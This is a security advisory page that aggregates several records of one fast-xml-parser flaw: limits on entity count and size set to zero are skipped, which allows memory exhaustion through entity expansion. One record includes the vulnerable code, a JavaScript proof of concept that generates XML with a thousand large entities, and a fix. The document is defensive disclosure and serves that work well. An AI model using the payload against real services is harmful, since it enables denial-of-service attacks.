fast-xml-parser: Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation

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fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.

Source published

24 Mar 2026 19:35:47 UTC

Source modified

25 Mar 2026 14:28:07 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.

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Mar 24, 2026, 7:35:47 PM (timezone not stated)

Source modified

Mar 25, 2026, 2:28:07 PM (timezone not stated)

Saved here

15 Nov 2026 10:03:05 UTC

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ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.

Source published

24 Mar 2026 20:16:29 UTC

Source modified

17 Jun 2026 10:37:21 UTC

Saved here

25 Oct 2026 08:17:18 UTC

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CVSS 3.1 · [email protected] · Secondary · 5.9 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

## Summary The `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. ## Details The `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`): ```js // src/xmlparser/OptionsBuilder.js:111 maxEntityCount: value.maxEntityCount ?? 100, // src/xmlparser/OptionsBuilder.js:107 maxEntitySize: value.maxEntitySize ?? 10000, ``` However, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced: ```js // src/xmlparser/DocTypeReader.js:30-32 if (this.options.enabled !== false && this.options.maxEntityCount && // ← 0 is falsy, skips check entityCount >= this.options.maxEntityCount) { throw new Error(`Entity count ...`); } ``` ```js // src/xmlparser/DocTypeReader.js:128-130 if (this.options.enabled !== false && this.options.maxEntitySize && // ← 0 is falsy, skips check entityValue.length > this.options.maxEntitySize) { throw new Error(`Entity "${entityName}" size ...`); } ``` The execution flow is: 1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions. 2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior). 3. Attacker supplies XML with a DOCTYPE containing many large entities. 4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount && ...` — since `0` is falsy, the entire condition is `false`. 5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize && ...` — same result. 6. All entity count and size limits are bypassed; entities are parsed without restriction. ## PoC ```js const { XMLParser } = require("fast-xml-parser"); // Developer intends: "no entities allowed at all" const parser = new XMLParser({ processEntities: { enabled: true, maxEntityCount: 0, // should mean "zero entities allowed" maxEntitySize: 0 // should mean "zero-length entities only" } }); // Generate XML with many large entities let entities = ""; for (let i = 0; i < 1000; i++) { entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`; } const xml = `<?xml version="1.0"?> <!DOCTYPE foo [ ${entities} ]> <foo>&e0;</foo>`; // This should throw "Entity count exceeds maximum" but does not try { const result = parser.parse(xml); console.log("VULNERABLE: parsed without error, entities bypassed limits"); } catch (e) { console.log("SAFE:", e.message); } // Control test: setting maxEntityCount to 1 correctly blocks const safeParser = new XMLParser({ processEntities: { enabled: true, maxEntityCount: 1, maxEntitySize: 100 } }); try { safeParser.parse(xml); console.log("ERROR: should have thrown"); } catch (e) { console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)" } ``` **Expected output:** ``` VULNERABLE: parsed without error, entities bypassed limits CONTROL: Entity count (2) exceeds maximum allowed (1) ``` ## Impact - **Denial of Service:** An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured `maxEntityCount: 0` or `maxEntitySize: 0`, intending to prohibit entities entirely. - **Security control bypass:** Developers who explicitly set restrictive limits to `0` receive no protection — the opposite of their intent. This creates a false sense of security. - **Scope:** Only applications that explicitly set these limits to `0` are affected. The default configuration (`maxEntityCount: 100`, `maxEntitySize: 10000`) is not vulnerable. The `enabled: false` option correctly disables entity processing entirely and is not affected. ## Recommended Fix Replace the truthy checks in `DocTypeReader.js` with explicit type checks that correctly treat `0` as a valid numeric limit: ```js // src/xmlparser/DocTypeReader.js:30-32 — replace: if (this.options.enabled !== false && this.options.maxEntityCount && entityCount >= this.options.maxEntityCount) { // with: if (this.options.enabled !== false && typeof this.options.maxEntityCount === 'number' && entityCount >= this.options.maxEntityCount) { ``` ```js // src/xmlparser/DocTypeReader.js:128-130 — replace: if (this.options.enabled !== false && this.options.maxEntitySize && entityValue.length > this.options.maxEntitySize) { // with: if (this.options.enabled !== false && typeof this.options.maxEntitySize === 'number' && entityValue.length > this.options.maxEntitySize) { ``` # Workaround If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.

Source published

19 Mar 2026 19:13:13 UTC

Source modified

10 Sep 2026 03:50:39 UTC

Saved here

24 Oct 2026 13:17:17 UTC

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GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · MODERATE